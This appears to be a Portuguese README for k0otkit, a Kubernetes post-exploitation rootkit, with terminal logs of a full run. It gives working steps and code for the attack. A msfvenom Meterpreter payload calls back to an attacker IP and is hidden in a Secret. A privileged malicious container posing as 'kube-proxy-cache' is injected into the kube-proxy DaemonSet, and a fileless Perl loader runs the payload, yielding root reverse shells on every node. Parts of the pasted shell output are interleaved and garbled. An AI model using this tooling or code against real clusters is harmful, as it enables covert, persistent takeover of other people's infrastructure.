metarget/k0otkitk0otkit é uma técnica universal de pós-penetração que pode ser usada em penetrações contra clusters Kubernetes.
k0otkit é uma técnica universal de pós-penetração que pode ser usada em penetrações contra clusters Kubernetes.
Com o k0otkit, você pode manipular todos os nós do cluster Kubernetes alvo de forma rápida, encoberta e contínua (reverse shell).
k0otkit é a combinação de Kubernetes e rootkit.
Pré-requisito:
k0otkit é uma ferramenta de pós-penetração, então você primeiro precisa conquistar um cluster, de alguma forma conseguir escapar do contêiner e obter o privilégio root do nó mestre (para ser exato, você deve obter o privilégio de administrador do Kubernetes alvo).
Cenário:
kubectl no nó mestre como admin.k0otkit é detalhado em k0otkit: Hackeie K8s do jeito K8s.
Certifique-se de que você tenha o shell root no nó mestre do Kubernetes alvo. (Você também pode utilizar o k0otkit se tiver o privilégio de administrador do Kubernetes alvo, embora possa ser necessário modificar o comando kubectl em k0otkit_template.sh para usar o token ou certificação.)
Certifique-se de ter instalado o Metasploit em seu host atacante (msfvenom e msfconsole devem estar disponíveis).
Implantar k0otkit
Clone este repositório:
git clone https://github.com/brant-ruan/k0otkit
cd k0otkit/
chmod +x ./*.sh
Substitua o IP e porta do atacante em pre_exp.sh pelo seu próprio IP e porta:
ATTACKER_IP=192.168.1.107
ATTACKER_PORT=4444
Gerar k0otkit:
./pre_exp.sh
k0otkit.sh será gerado. Em seguida, execute o handler de reverse shell:
./handle_multi_reverse_shell.sh
Assim que o handler estiver pronto, copie o conteúdo de k0otkit.sh e cole no seu shell no nó mestre do Kubernetes alvo, depois pressione <Enter> para executá-lo.
Aguarde um momento e aproveite os reverse shells de todos os nós :)
P.S. Não há limite de quantos clusters Kubernetes você pode manipular com o k0otkit.
Interagir com Shells
Após a implantação bem-sucedida do k0otkit, você pode interagir com qualquer reverse shell como desejar:
# dentro do msfconsole
sessions 1
Gerar k0otkit:
kali@kali:~/k0otkit$ ./pre_exp.sh
+ ATTACKER_IP=192.168.1.107
+ ATTACKER_PORT=4444
+ TEMP_MRT=mrt
+ msfvenom -p linux/x86/meterpreter/reverse_tcp LPORT=4444 LHOST=192.168.1.107 -f elf -o mrt
++ xxd -p mrt
++ tr -d '\n'
++ base64 -w 0
+ PAYLOAD=N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw
+ sed s/PAYLOAD_VALUE_BASE64/N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw/g k0otkit_template.sh
Execute o handler de reverse shell:
kali@kali:~/k0otkit$ ./handle_multi_reverse_shell.sh
payload => linux/x86/meterpreter/reverse_tcp
LHOST => 0.0.0.0
LPORT => 4444
ExitOnSession => false
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 0.0.0.0:4444
msf5 exploit(multi/handler) >
Copie o conteúdo de k0otkit.sh para o seu shell no nó mestre do Kubernetes alvo e pressione <Enter>:
kali@kali:~$ nc -lvnp 10000
listening on [any] 10000 ...
connect to [192.168.1.107] from (UNKNOWN) [192.168.1.106] 48750
root@victim-2:~# volume_name=cache
mount_path=/var/kube-proxy-cache
ctr_name=kube-proxy-cache
binary_file=/usr/local/bin/kube-proxy-cache
payload_name=cache
secret_name=proxy-cache
secret_data_name=content
ctr_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ containers:/{print NR}')
volume_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ volumes:/{print NR}')
image=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | grep " image:" | awk '{print $2}')
# create payload secret
cat << EOF | kubectl --kubeconfig /root/.kube/config apply -f -
apiVersion: v1
kind: Secret
metadata:
name: $secret_name
namespace:volume_name=cache
root@victim-2:~#
root@victim-2:~# mount_path=/var/kube-p kube-system
type: Opaque
data:
$secret_data_name: N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw
EOF
# assume that ctr_line_num < volume_line_num
# otherwise you should switch the two sed commands below
# inject malicious container into kube-proxy pod
kubecroxy-cache
root@victim-2:~#
root@victim-2:~# ctr_name=kube-proxy-cache
root@victim-2:~#
root@victim-2:~# binary_file=/usr/local/bin/kube-proxy-cache
root@victim-2:~#
root@victim-2:~# payload_name=cache
root@victim-2:~#
root@victim-2:~# secret_name=proxy-cache
root@victim-2:~#
root@victim-2:~# secret_data_name=content
root@victim-2:~#
root@victim-2:~# ctr_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-tl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml \
| sed "$volume_line_num a\ \ \ \ \ \ - name: $volume_name\n hostPath:\n path: /\n type: Directory\n" \
| sed "$ctr_line_num a\ \ \ \ \ \ - name: $ctr_name\n image: $image\n imagePullPolicy: IfNotPresent\n command: [\"sh\"]\n args: [\"-c\", \"echo \$$payload_name | perl -e 'my \$n=qq(); my \$fd=syscall(319, \$n, 1); open(\$FH, qq(>&=).\$fd); select((select(\$FH), \$|=1)[0]); print \$FH pack q/H*/, <STDIN>; my \$pid = fork(); if (0 != \$pid) { wait }; if (0 == \$pid){system(qq(/proc/\$\$\$\$/fd/\$fd))}'\"]\n env:\n - name: $payload_name\n valueFrom:\n secretKeyRef:\n pr name: $secret_name\n key: $secret_data_name\n securityContext:\n privileged: true\n volumeMounts:\n - mountPath: $mount_path\n name: $volume_name" \
containers:/{print NR}')oxy -o yaml | awk '/
root@victim-2:~#
root@victim-2:~# volume_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ volumes:/{print NR}')
root@victim-2:~#
root@victim-2:~# image=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | grep " image:" | awk '{print $2}')
root@victim-2:~#
root@victim-2:~# # create payload secret
root@victim-2:~# cat << EOF | kubectl --kubeconfig /root/.kube/config apply -f -
> apiVersion: v1
> kind: Secret
> metadata:
> name: $secret_name
> namespace: kube-system
> type: Opaque
> data:
> $secret_data_name: N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw
> EOF
secret/proxy-cache created
root@victim-2:~#
root@victim-2:~# # assume that ctr_line_num < volume_line_num
root@victim-2:~# # otherwise you should switch the two sed commands below
root@victim-2:~#
root@victim-2:~# # inject malicious container into kube-proxy pod
root@victim-2:~# kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml \
> | sed "$volume_line_num a\ \ \ \ \ \ - name: $volume_name\n hostPath:\n path: /\n type: Directory\n" \
> | sed "$ctr_line_num a\ \ \ \ \ \ - name: $ctr_name\n image: $image\n imagePullPolicy: IfNotPresent\n command: [\"sh\"]\n args: [\"-c\", \"echo \$$payload_name | perl -e 'my \$n=qq(); my \$fd=syscall(319, \$n, 1); open(\$FH, qq(>&=).\$fd); select((select(\$FH), \$|=1)[0]); print \$FH pack q/H*/, <STDIN>; my \$pid = fork(); if (0 != \$pid) { wait }; if (0 == \$pid){system(qq(/proc/\$\$\$\$/fd/\$fd))}'\"]\n env:\n - name: $payload_name\n valueFrom:\n secretKeyRef:\n name: $secret_name\n key: $secret_data_name\n securityContext:\n privileged: true\n volumeMounts:\n - mountPath: $mount_path\n name: $volume_name" \
> | kubectl replace -f -
daemonset.extensions/kube-proxy replaced
Aguarde os reverse shells:
msf5 exploit(multi/handler) > [*] Sending stage (985320 bytes) to 192.168.1.106
[*] Meterpreter session 1 opened (192.168.1.107:4444 -> 192.168.1.106:51610) at 2020-11-30 03:30:18 -0500
msf5 exploit(multi/handler) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/linux uid=0, gid=0, euid=0, egid=0 @ 192.168.1.106 192.168.1.107:4444 -> 192.168.1.106:51610 (192.168.1.106)
Função 1 Sair e Reconectar:
msf5 exploit(multi/handler) > sessions 1
[*] Starting interaction with 1...
meterpreter > shell
Process 9 created.
Channel 1 created.
whoami
root
exit
meterpreter > exit
[*] Shutting down Meterpreter...
[*] 192.168.1.106 - Meterpreter session 1 closed. Reason: User exit
msf5 exploit(multi/handler) >
[*] Sending stage (985320 bytes) to 192.168.1.106
[*] Meterpreter session 2 opened (192.168.1.107:4444 -> 192.168.1.106:52292) at 2020-11-30 03:32:25 -0500
Função 2 Escapar para e Controlar Nó:
msf5 exploit(multi/handler) > sessions 2
[*] Starting interaction with 2...
meterpreter > cd /var/kube-proxy-cache
meterpreter > ls
Listing: /var/kube-proxy-cache
==============================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40755/rwxr-xr-x 4096 dir 2020-03-03 03:21:08 -0500 bin
40755/rwxr-xr-x 4096 dir 2020-03-05 22:23:56 -0500 boot
40755/rwxr-xr-x 4180 dir 2020-04-09 21:32:10 -0400 dev
40755/rwxr-xr-x 4096 dir 2020-04-17 02:31:15 -0400 etc
40755/rwxr-xr-x 4096 dir 2020-03-03 03:00:00 -0500 home
100644/rw-r--r-- 36257923 fil 2020-03-05 22:23:56 -0500 initrd.img
100644/rw-r--r-- 39829184 fil 2020-03-03 03:00:17 -0500 initrd.img.old
40755/rwxr-xr-x 4096 dir 2020-04-16 03:52:46 -0400 lib
40755/rwxr-xr-x 4096 dir 2020-03-03 02:33:23 -0500 lib64
40700/rwx------ 16384 dir 2020-03-03 02:33:19 -0500 lost+found
40755/rwxr-xr-x 4096 dir 2020-03-03 02:33:29 -0500 media
40755/rwxr-xr-x 4096 dir 2020-03-03 02:33:23 -0500 mnt
40755/rwxr-xr-x 4096 dir 2020-04-16 03:59:01 -0400 opt
40555/r-xr-xr-x 0 dir 2020-04-09 21:32:01 -0400 proc
40700/rwx------ 4096 dir 2020-11-30 04:00:05 -0500 root
40755/rwxr-xr-x 1020 dir 2020-11-30 04:04:59 -0500 run
40755/rwxr-xr-x 12288 dir 2020-04-16 03:52:46 -0400 sbin
40755/rwxr-xr-x 4096 dir 2020-03-03 03:02:37 -0500 snap
40755/rwxr-xr-x 4096 dir 2020-03-03 02:33:23 -0500 srv
40555/r-xr-xr-x 0 dir 2020-04-14 22:51:06 -0400 sys
41777/rwxrwxrwx 4096 dir 2020-11-30 04:10:07 -0500 tmp
40755/rwxr-xr-x 4096 dir 2020-04-16 04:42:54 -0400 usr
40755/rwxr-xr-x 4096 dir 2020-03-03 02:51:25 -0500 var
100600/rw------- 6712336 fil 2020-03-05 22:22:58 -0500 vmlinuz
100600/rw------- 7184032 fil 2020-03-03 02:33:55 -0500 vmlinuz.old